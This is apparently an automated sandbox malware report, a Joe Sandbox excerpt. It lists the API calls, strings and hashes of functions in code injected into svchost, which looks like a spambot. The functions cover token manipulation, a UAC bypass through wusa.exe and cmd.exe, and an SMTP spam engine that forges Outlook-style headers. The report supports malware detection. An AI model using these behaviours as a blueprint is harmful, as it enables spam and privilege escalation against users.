GetProcAddress.KERNEL32(00000000,RtlSetLastWin32Error), ref: 02D310E1
GetProcAddress.KERNEL32(00000000,NtTerminateProcess), ref: 02D31101
GetProcAddress.KERNEL32(00000000,RtlFreeSid), ref: 02D31121
GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 02D31140
GetProcAddress.KERNEL32(00000000,NtSetInformationThread), ref: 02D31160
GetProcAddress.KERNEL32(00000000,NtSetInformationToken), ref: 02D31180
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 02D3119F
GetProcAddress.KERNEL32(00000000,NtClose), ref: 02D311BF
GetProcAddress.KERNEL32(00000000,NtOpenProcessToken), ref: 02D311DF
GetProcAddress.KERNEL32(00000000,NtDuplicateToken), ref: 02D311FE
GetProcAddress.KERNEL32(00000000,RtlAllocateAndInitializeSid), ref: 02D3121A

Strings

NtQueryInformationToken, xrefs: 02D31262
NtClose, xrefs: 02D311B4
RtlNtStatusToDosError, xrefs: 02D31194
NtDuplicateToken, xrefs: 02D311F3
RtlExpandEnvironmentStrings_U, xrefs: 02D310BC
NtTerminateProcess, xrefs: 02D310F6
RtlAllocateAndInitializeSid, xrefs: 02D3120F
NtFilterToken, xrefs: 02D3122B
ntdll.dll, xrefs: 02D3100D
RtlInitUnicodeString, xrefs: 02D31135
NtSetInformationThread, xrefs: 02D31155
RtlFreeSid, xrefs: 02D31116
RtlSetLastWin32Error, xrefs: 02D310D6
RtlLengthSid, xrefs: 02D31246
NtOpenProcessToken, xrefs: 02D311D4
NtSetInformationToken, xrefs: 02D31175

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtClose$NtDuplicateToken$NtFilterToken$NtOpenProcessToken$NtQueryInformationToken$NtSetInformationThread$NtSetInformationToken$NtTerminateProcess$RtlAllocateAndInitializeSid$RtlExpandEnvironmentStrings_U$RtlFreeSid$RtlInitUnicodeString$RtlLengthSid$RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 2238633743-3228201535
Opcode ID: 761ca36265bead040dc581a2bdaf7feab8b2551111edf982ef202927511e24d5
Instruction ID: 673979ec7e131d89c50fa972e278fb7d7805546aa6b3e1773e7f487064dcde22
Opcode Fuzzy Hash: 761ca36265bead040dc581a2bdaf7feab8b2551111edf982ef202927511e24d5
Instruction Fuzzy Hash: 93517379986A43A7EB528FACEC4075237E8674C264F344796A829E23D0DBB0CCD5CF51

Function 02D3B211 Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 131timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(0003E800,?,0003E800,00000000), ref: 02D3B2B3
FileTimeToLocalFileTime.KERNEL32(00000000,00000000,?,0003E800,00000000), ref: 02D3B2C2
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 02D3B2D0
SystemTimeToFileTime.KERNEL32(0003E800,00000000), ref: 02D3B2E1
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 02D3B31A
GetTimeZoneInformation.KERNEL32(?), ref: 02D3B329
wsprintfA.USER32 ref: 02D3B3B7

Strings

Jun, xrefs: 02D3B279
Dec, xrefs: 02D3B2A3
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 02D3B3AF
Thu, xrefs: 02D3B241
Sat, xrefs: 02D3B24F
Nov, xrefs: 02D3B29C
Sep, xrefs: 02D3B28E
Apr, xrefs: 02D3B26B
Tue, xrefs: 02D3B233
Jul, xrefs: 02D3B280
Feb, xrefs: 02D3B25D
Aug, xrefs: 02D3B287
Fri, xrefs: 02D3B248
Sun, xrefs: 02D3B225
Mar, xrefs: 02D3B264
Wed, xrefs: 02D3B23A
May, xrefs: 02D3B272
Mon, xrefs: 02D3B22C
Jan, xrefs: 02D3B256
Oct, xrefs: 02D3B295

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Time$File$System$Local$InformationZonewsprintf
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 766114626-2976066047
Opcode ID: c86df8966cf769aa8d8d74f7b46c2b62bbd69d5e42594e08a88471a18f7079a1
Instruction ID: 9c57244fc9962bba6d3663011089a3be864faf51b739ef8786def91620bbc009
Opcode Fuzzy Hash: c86df8966cf769aa8d8d74f7b46c2b62bbd69d5e42594e08a88471a18f7079a1
Instruction Fuzzy Hash: 4E511AB1E00229EBCF19DFD5D9849EFBBB9BF4830AF10445AE641A6350D7344E89CB90

Function 02D36511 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 182COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 02D3654D
IsBadReadPtr.KERNEL32(?,00000008), ref: 02D3655C
htonl.WS2_32(?), ref: 02D36578
htonl.WS2_32(?), ref: 02D36587
wsprintfA.USER32 ref: 02D3659B
wsprintfA.USER32 ref: 02D365DC
wsprintfA.USER32 ref: 02D36671
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 02D3668A
StackWalk64.DBGHELP(0000014C,00000000), ref: 02D36696
wsprintfA.USER32 ref: 02D366B0
wsprintfA.USER32 ref: 02D366E7
wsprintfA.USER32 ref: 02D366FF
wsprintfA.USER32 ref: 02D3671F
ExitProcess.KERNEL32 ref: 02D36755

Strings

_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p, xrefs: 02D365D6
localcfg, xrefs: 02D3672D
12:08:32, xrefs: 02D36535
va=%08X%08X uef=%p, xrefs: 02D36595
except_info, xrefs: 02D36728
ret=%pp1=%pp2=%pp3=%pp4=%p, xrefs: 02D3666B
plgs:, xrefs: 02D366AA
%d=%p, xrefs: 02D366F9
Jan 13 2018, xrefs: 02D3653A
ver=%d date=%s %sc=%08x a=%p, xrefs: 02D36547

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: wsprintf$Processhtonl$CurrentExitReadStackWalk64
String ID: %d=%p$_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p$ver=%d date=%s %sc=%08x a=%p$ va=%08X%08X uef=%p$12:08:32$Jan 13 2018$except_info$localcfg$plgs:$ret=%pp1=%pp2=%pp3=%pp4=%p
API String ID: 2400214276-165278494
Opcode ID: 0e6c6e9060ff4fcb244670a04a26da2811e7042dab1aa2da97129a13cbd7ddac
Instruction ID: ffa79a18244250c8b9facd990ba390f56764ea712aa8d2efc2cf64b2afae160d
Opcode Fuzzy Hash: 0e6c6e9060ff4fcb244670a04a26da2811e7042dab1aa2da97129a13cbd7ddac
Instruction Fuzzy Hash: 71618D72940208AFEB659FB4DC45FEA77F9FF08301F148469FA69D2261DA709944CF60

Function 02D3A7C1 Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 299networkstringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 02D3A7FB
lstrlenA.KERNEL32(?,00000000,00000000,00000001), ref: 02D3A87E
send.WS2_32(00000000,?,00000000,00000000), ref: 02D3A893
wsprintfA.USER32 ref: 02D3A8AF
send.WS2_32(00000000,.,00000005,00000000), ref: 02D3A8D2
wsprintfA.USER32 ref: 02D3A8E2
recv.WS2_32(00000000,?,000003F6,00000000), ref: 02D3A97C
wsprintfA.USER32 ref: 02D3A9B9

Strings

helo %s, xrefs: 02D3A803
., xrefs: 02D3A8CA
rcpt to:<%s>, xrefs: 02D3A855
mail from:<%s>, xrefs: 02D3A848
Incorrect respons, xrefs: 02D3AB39
ehlo %s, xrefs: 02D3A7F5
Error sending command (sent = %d/%d), xrefs: 02D3A8A7, 02D3A8DA
Too small respons, xrefs: 02D3A9C9
localcfg, xrefs: 02D3AB0B
quit, xrefs: 02D3A86C
ESMTP, xrefs: 02D3AA38
AUTH LOGIN, xrefs: 02D3A80C
Too big smtp respons (%d bytes), xrefs: 02D3A9B1
data, xrefs: 02D3A85E

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: wsprintf$send$lstrlenrecv
String ID: .$AUTH LOGIN$ESMTP$Error sending command (sent = %d/%d)$Incorrect respons$Too big smtp respons (%d bytes)$Too small respons$data$ehlo %s$helo %s$localcfg$mail from:<%s>$quit$rcpt to:<%s>
API String ID: 3650048968-2394369944
Opcode ID: 6c5634a9dc1c0677d5abc92f0d053f7fd453cb6ff03c7276f85fd28d6dbfd7f8
Instruction ID: 580c4e8e537a9ad87eb01f717f47f7be9c6e0b3ac2bb2772f3d90876a828eb18
Opcode Fuzzy Hash: 6c5634a9dc1c0677d5abc92f0d053f7fd453cb6ff03c7276f85fd28d6dbfd7f8
Instruction Fuzzy Hash: 47A13B72B44345ABEF278E54DC85FEE376AEB00308F140466FAC2A6390DB719D58CB65

Function 02D31280 Relevance: 31.9, APIs: 9, Strings: 9, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 02D3139A
lstrlenW.KERNEL32(-00000003), ref: 02D31571

Strings

useless, xrefs: 02D3161E
, xrefs: 02D31462
wusa.exe, xrefs: 02D31388
uac, xrefs: 02D31628
<, xrefs: 02D31378
%systemroot%\system32\cmd.exe, xrefs: 02D31316
PDGu, xrefs: 02D3139A
@, xrefs: 02D31380
D, xrefs: 02D315C6

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $%systemroot%\system32\cmd.exe$<$@$D$PDGu$uac$useless$wusa.exe
API String ID: 1628651668-3716895483
Opcode ID: 6b1da3d9e50e4ec5dcfdabfc214c3380c9845453b301cc1e95b2505f78c1a2f0
Instruction ID: e07a7d141f9f42a5ace61b01c24357aa7d433868f62d5bc958c6ecaab8a623ad
Opcode Fuzzy Hash: 6b1da3d9e50e4ec5dcfdabfc214c3380c9845453b301cc1e95b2505f78c1a2f0
Instruction Fuzzy Hash: A9F167B59083429FD725DF64C888BAAB7E5FB88304F14492DFA9A97380D774DC44CB62

Function 02D32A62 Relevance: 27.2, APIs: 18, Instructions: 194networkmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00001000,00000000,?,7591F380), ref: 02D32A83
HeapAlloc.KERNEL32(00000000,?,7591F380), ref: 02D32A86
socket.WS2_32(00000002,00000002,00000011), ref: 02D32AA0
htons.WS2_32(00000000), ref: 02D32ADB
select.WS2_32 ref: 02D32B28
recv.WS2_32(?,00000000,00001000,00000000), ref: 02D32B4A
htons.WS2_32(?), ref: 02D32B71
htons.WS2_32(?), ref: 02D32B8C
GetProcessHeap.KERNEL32(00000000,00000108), ref: 02D32BFB

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Heaphtons$Process$Allocrecvselectsocket
String ID:
API String ID: 1639031587-0
Opcode ID: 7452b7e7853c96625453c5c90164e6286efd2e2304d23ea40c6cba35caa5ce86
Instruction ID: ddec1bcddfed018f9e72332d1fc19d5fd9e0176c7250ec68cb3575963a0d8f70
Opcode Fuzzy Hash: 7452b7e7853c96625453c5c90164e6286efd2e2304d23ea40c6cba35caa5ce86
Instruction Fuzzy Hash: 8E619D75D083059BD7229F65DC4CB6ABBE8EB88756F014809FE8597381D7B0DC50CBA2

Function 02D3704C Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 332registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,00000101,75920F10,?,75920F10,00000000), ref: 02D370C2
RegEnumValueA.ADVAPI32(75920F10,00000000,?,00000020,00000000,00000000,00000000,0000012C,?,75920F10,00000000), ref: 02D3719E
RegCloseKey.ADVAPI32(75920F10,?,75920F10,00000000), ref: 02D371B2
RegCloseKey.ADVAPI32(75920F10), ref: 02D37208
RegCloseKey.ADVAPI32(75920F10), ref: 02D37291
___ascii_stricmp.LIBCMT ref: 02D372C2
RegCloseKey.ADVAPI32(75920F10), ref: 02D372D0
RegCloseKey.ADVAPI32(75920F10), ref: 02D37314
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 02D3738D
RegCloseKey.ADVAPI32(75920F10), ref: 02D373D8

Part of subcall function 02D3F1A5: lstrlenA.KERNEL32(000000C8,000000E4,02D422F8,000000C8,02D37150,?), ref: 02D3F1AD

Strings

", xrefs: 02D37227
, xrefs: 02D37194

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Close$AttributesEnumFileOpenValue___ascii_stricmplstrlen
String ID: $"
API String ID: 4293430545-3817095088
Opcode ID: d540c91f3d6644474fea1f30afd6dc0bf17ba649758c00a28f75f5d6e52472c1
Instruction ID: bc655d0a21b8e74d43ce3a15eede8631ad6c4710a88d5d7d529df60c40449d30
Opcode Fuzzy Hash: d540c91f3d6644474fea1f30afd6dc0bf17ba649758c00a28f75f5d6e52472c1
Instruction Fuzzy Hash: 32B17FB2D44609ABEF169FA4DC44BEEB7B9EF04301F100466F915E6290EB719E84CF64

Function 02D3AD89 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 02D3AD98
SystemTimeToFileTime.KERNEL32(?,?), ref: 02D3ADA6

Part of subcall function 02D3AD08: gethostname.WS2_32(?,00000080), ref: 02D3AD1C
Part of subcall function 02D3AD08: lstrlenA.KERNEL32(00000000), ref: 02D3AD60
Part of subcall function 02D3AD08: lstrlenA.KERNEL32(00000000), ref: 02D3AD69
Part of subcall function 02D3AD08: lstrcpyA.KERNEL32(00000000,LocalHost), ref: 02D3AD7F

Part of subcall function 02D330B5: gethostname.WS2_32(?,00000080), ref: 02D330D8
Part of subcall function 02D330B5: gethostbyname.WS2_32(?), ref: 02D330E2

wsprintfA.USER32 ref: 02D3AEA5

Part of subcall function 02D3A7A3: inet_ntoa.WS2_32(?), ref: 02D3A7A9

wsprintfA.USER32 ref: 02D3AE4F
wsprintfA.USER32 ref: 02D3AE5E

Part of subcall function 02D3EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 02D3EF92
Part of subcall function 02D3EF7C: lstrlenA.KERNEL32(?), ref: 02D3EF99
Part of subcall function 02D3EF7C: lstrlenA.KERNEL32(00000000), ref: 02D3EFA0

Strings

%04x%08.8lx$%08.8lx$%08x@%s, xrefs: 02D3AE9F
%s%d, xrefs: 02D3AE58
%OUTLOOK_HST, xrefs: 02D3AEC5
----=_NextPart_%03d_%04X_%08.8lX.%08.8lX, xrefs: 02D3AE49
%OUTLOOK_BND_, xrefs: 02D3AE0F, 02D3AE14, 02D3AE57, 02D3AE76
%OUTLOOK_MID, xrefs: 02D3AEAE
127.0.0.1, xrefs: 02D3ADEB

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: lstrlen$Timewsprintf$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %04x%08.8lx$%08.8lx$%08x@%s$%OUTLOOK_BND_$%OUTLOOK_HST$%OUTLOOK_MID$%s%d$----=_NextPart_%03d_%04X_%08.8lX.%08.8lX$127.0.0.1
API String ID: 3631595830-1816598006
Opcode ID: f84e3ebe003823e2b2addb04a32c0ba39cf20a4a903a72f72d55057866a15b64
Instruction ID: 53002f46f2f8b0b0b0bbcd68361a5c659126f562cc8af2be752c91eb811b2186
Opcode Fuzzy Hash: f84e3ebe003823e2b2addb04a32c0ba39cf20a4a903a72f72d55057866a15b64
Instruction Fuzzy Hash: E04100B290025CABDF26EFA0DC45EEE3BADFF08340F144416BA2592251EA75DD548F60

Function 02D32DF2 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 97memorylibrarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll,759223A0,?,000DBBA0,?,00000000,02D32F0F,?,02D320FF,02D42000), ref: 02D32E01
LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,02D32F0F,?,02D320FF,02D42000), ref: 02D32E11
GetProcAddress.KERNEL32(00000000,GetNetworkParams), ref: 02D32E2E
GetProcessHeap.KERNEL32(00000000,00004000,?,00000000,02D32F0F,?,02D320FF,02D42000), ref: 02D32E4C
HeapAlloc.KERNEL32(00000000,?,00000000,02D32F0F,?,02D320FF,02D42000), ref: 02D32E4F
htons.WS2_32(00000035), ref: 02D32E88
inet_addr.WS2_32(?), ref: 02D32E93
gethostbyname.WS2_32(?), ref: 02D32EA6
GetProcessHeap.KERNEL32(00000000,?,?,00000000,02D32F0F,?,02D320FF,02D42000), ref: 02D32EE3
HeapFree.KERNEL32(00000000,?,00000000,02D32F0F,?,02D320FF,02D42000), ref: 02D32EE6

Strings

GetNetworkParams, xrefs: 02D32E28
iphlpapi.dll, xrefs: 02D32DFB, 02D32E00, 02D32E10

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$AddressAllocFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: GetNetworkParams$iphlpapi.dll
API String ID: 929413710-2099955842
Opcode ID: 7604e3614bb75029bb1f2d2ee67054a9118703dd325b38981bccfb3e9e5c2daf
Instruction ID: 069ef093ac8e018afc9639fec035cdc37d521c38551c6decf26b7611eb680dc0
Opcode Fuzzy Hash: 7604e3614bb75029bb1f2d2ee67054a9118703dd325b38981bccfb3e9e5c2daf
Instruction Fuzzy Hash: 3231AD36E0020AABDB129FB8D88AA6E77F8AF04766F144515EE14F7390DB30DD41CB90

Function 02D39326 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 284registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?,02D39DD7,?,00000022,?,?,00000000,00000001), ref: 02D39340
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,02D39DD7,?,00000022,?,?,00000000,00000001), ref: 02D3936E
GetModuleFileNameA.KERNEL32(00000000,?,02D39DD7,?,00000022,?,?,00000000,00000001), ref: 02D39375
wsprintfA.USER32 ref: 02D393CE
wsprintfA.USER32 ref: 02D3940C
wsprintfA.USER32 ref: 02D3948D
RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000101,?), ref: 02D394F1
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 02D39526
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 02D39571

Strings

runas, xrefs: 02D39674

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: runas
API String ID: 3696105349-4000483414
Opcode ID: 995ccbb6ccc3d9d7654c88bfc5869d5fa97c533531edf4ead3741c7f2801e624
Instruction ID: 7def41bb851e2d5f1ef040a2bff11cf31dd90fa9d1b46e63b872f20115a0b2e4
Opcode Fuzzy Hash: 995ccbb6ccc3d9d7654c88bfc5869d5fa97c533531edf4ead3741c7f2801e624
Instruction Fuzzy Hash: 40A16DB2940248ABEB269FA0CC99FDE3BADEB44745F100426FE0592351E7B5DD54CFA0

Function 02D32011 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 160COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 02D32078
GetTickCount.KERNEL32 ref: 02D320D4
GetTickCount.KERNEL32 ref: 02D320DB
GetTickCount.KERNEL32 ref: 02D3212B
GetTickCount.KERNEL32 ref: 02D32132
GetTickCount.KERNEL32 ref: 02D32142

Part of subcall function 02D3F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,02D3E342,00000000,7508EA50,80000001,00000000,02D3E513,?,00000000,00000000,?,000000E4), ref: 02D3F089
Part of subcall function 02D3F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,02D3E342,00000000,7508EA50,80000001,00000000,02D3E513,?,00000000,00000000,?,000000E4,000000C8), ref: 02D3F093

Part of subcall function 02D3E854: lstrcpyA.KERNEL32(00000001,?,?,02D3D8DF,00000001,localcfg,except_info,00100000,02D40264), ref: 02D3E88B
Part of subcall function 02D3E854: lstrlenA.KERNEL32(00000001,?,02D3D8DF,00000001,localcfg,except_info,00100000,02D40264), ref: 02D3E899

Part of subcall function 02D31C5F: wsprintfA.USER32 ref: 02D31CE1

Strings

rbl_bl, xrefs: 02D32181
localcfg, xrefs: 02D32070, 02D32160, 02D32186, 02D32194, 02D321E4
net_type, xrefs: 02D321DF
PZg, xrefs: 02D320DD, 02D3212D
rbl_ip, xrefs: 02D3218F

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: CountTick$Time$FileSystem$lstrcpylstrlenwsprintf
String ID: PZg$localcfg$net_type$rbl_bl$rbl_ip
API String ID: 3976553417-3874429886
Opcode ID: a79a401fcd70f56718c10cae3f035543b2b2384fca72cd720ecc131bfd091b64
Instruction ID: 8cd19a93a627029c799e82719ebfb1e346ce0750cc29449b23e756fb8a1f6c6d
Opcode Fuzzy Hash: a79a401fcd70f56718c10cae3f035543b2b2384fca72cd720ecc131bfd091b64
Instruction Fuzzy Hash: 1C510275D843469FE72AEF24EDCDB163BE5EB00314F204819FE4586390DBB4AC58DA21

Function 02D3B3C5 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 145COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 02D3B467

Part of subcall function 02D3EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 02D3EF92
Part of subcall function 02D3EF7C: lstrlenA.KERNEL32(?), ref: 02D3EF99
Part of subcall function 02D3EF7C: lstrlenA.KERNEL32(00000000), ref: 02D3EFA0

Strings

%FROM_USER, xrefs: 02D3B431
%P5DATE, xrefs: 02D3B4F2
%DATE, xrefs: 02D3B4D2
%TO_USER, xrefs: 02D3B488
%FROM_DOMAIN, xrefs: 02D3B41E
%TO_HASH, xrefs: 02D3B4B0
%s@%s, xrefs: 02D3B461
%M5DATE, xrefs: 02D3B50F
%FROM_EMAIL, xrefs: 02D3B3E9
%TO_EMAIL, xrefs: 02D3B473
%TO_DOMAIN, xrefs: 02D3B44B

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: lstrlen$wsprintf
String ID: %DATE$%FROM_DOMAIN$%FROM_EMAIL$%FROM_USER$%M5DATE$%P5DATE$%TO_DOMAIN$%TO_EMAIL$%TO_HASH$%TO_USER$%s@%s
API String ID: 1220175532-2340906255
Opcode ID: 52b827ccea4eb53c7dfa371e8834242b75ba44b6834cf499374d7f65fe7c4b1a
Instruction ID: 95bff3b2588b71d95373c8ce0c624e2b8eadbda9ca92d23b75917a368498fb09
Opcode Fuzzy Hash: 52b827ccea4eb53c7dfa371e8834242b75ba44b6834cf499374d7f65fe7c4b1a
Instruction Fuzzy Hash: 814131B254012DBFEF02AB94DCC1DBF7B6DEE49749F144015FA05A2240DB71AE188BB1

Function 02D3C2DC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 182threadCOMMON

Download Yara Rule

APIs

Part of subcall function 02D3A4C7: GetTickCount.KERNEL32 ref: 02D3A4D1
Part of subcall function 02D3A4C7: InterlockedExchange.KERNEL32(?,00000001), ref: 02D3A4FA

GetTickCount.KERNEL32 ref: 02D3C31F
GetTickCount.KERNEL32 ref: 02D3C32B
GetTickCount.KERNEL32 ref: 02D3C363
GetTickCount.KERNEL32 ref: 02D3C378
GetTickCount.KERNEL32 ref: 02D3C44D
InterlockedIncrement.KERNEL32(02D3C4E4), ref: 02D3C4AE
CreateThread.KERNEL32(00000000,00000000,02D3B535,00000000,?,02D3C4E0), ref: 02D3C4C1
CloseHandle.KERNEL32(00000000,?,02D3C4E0,02D43588,02D38810), ref: 02D3C4CC

Strings

localcfg, xrefs: 02D3C2DD

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: CountTick$Interlocked$CloseCreateExchangeHandleIncrementThread
String ID: localcfg
API String ID: 1553760989-1857712256
Opcode ID: a4724aaac2b66977b1b8b623bfb8e85b32141f2bba93b616cd234dd47800d9e6
Instruction ID: 8b7c3efd22d5790a3cc196ef3e9bc49e160373691d6cb8eb84bee325a3cb0ec3
Opcode Fuzzy Hash: a4724aaac2b66977b1b8b623bfb8e85b32141f2bba93b616cd234dd47800d9e6
Instruction Fuzzy Hash: 2D5176B1A01B418FC7298F69C68462ABBE9FB48314B505D2EE1CBD7B90E774F844CB14

Function 02D3BE31 Relevance: 13.7, APIs: 6, Strings: 3, Instructions: 152stringCOMMON

Download Yara Rule

APIs

lstrcmpiA.KERNEL32(?,smtp_herr), ref: 02D3BE4F
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 02D3BE5B
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 02D3BE67
lstrcmpiA.KERNEL32(?,smtp_herr), ref: 02D3BF6A
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 02D3BF7F
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 02D3BF94

Strings

smtp_retr, xrefs: 02D3BE61, 02D3BF8C
smtp_herr, xrefs: 02D3BE46, 02D3BF62
smtp_ban, xrefs: 02D3BE55, 02D3BF77

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: smtp_ban$smtp_herr$smtp_retr
API String ID: 1586166983-1625972887
Opcode ID: 0c817d9279b33aefb14a44059fce8096a090b01a28423b84e752690aaf7bf913
Instruction ID: 3049cdb45059f862c7ce9b6d02e125ccf191b9cbae47f61f09c8e1e4df4b37ff
Opcode Fuzzy Hash: 0c817d9279b33aefb14a44059fce8096a090b01a28423b84e752690aaf7bf913
Instruction Fuzzy Hash: EA51AE31A0021AAFDB169F68D880B6EBBE9EF0434CF145056E945EB390D731ED45CFA0

Function 02D36A60 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,75918A60,?,?,?,?,02D39A60,?,?,02D39E9D), ref: 02D36A7D
GetDiskFreeSpaceA.KERNEL32(02D39E9D,02D39A60,?,?,?,02D422F8,?,?,?,02D39A60,?,?,02D39E9D), ref: 02D36ABB
GetLastError.KERNEL32(?,?,?,?,?,?,?,02D39A60,?,?,02D39E9D), ref: 02D36B40
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,02D39A60,?,?,02D39E9D), ref: 02D36B4E
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,02D39A60,?,?,02D39E9D), ref: 02D36B5F
GetLastError.KERNEL32(?,?,?,?,?,?,?,02D39A60,?,?,02D39E9D), ref: 02D36B6F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,02D39A60,?,?,02D39E9D), ref: 02D36B7D
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,02D39A60,?,?,02D39E9D), ref: 02D36B80
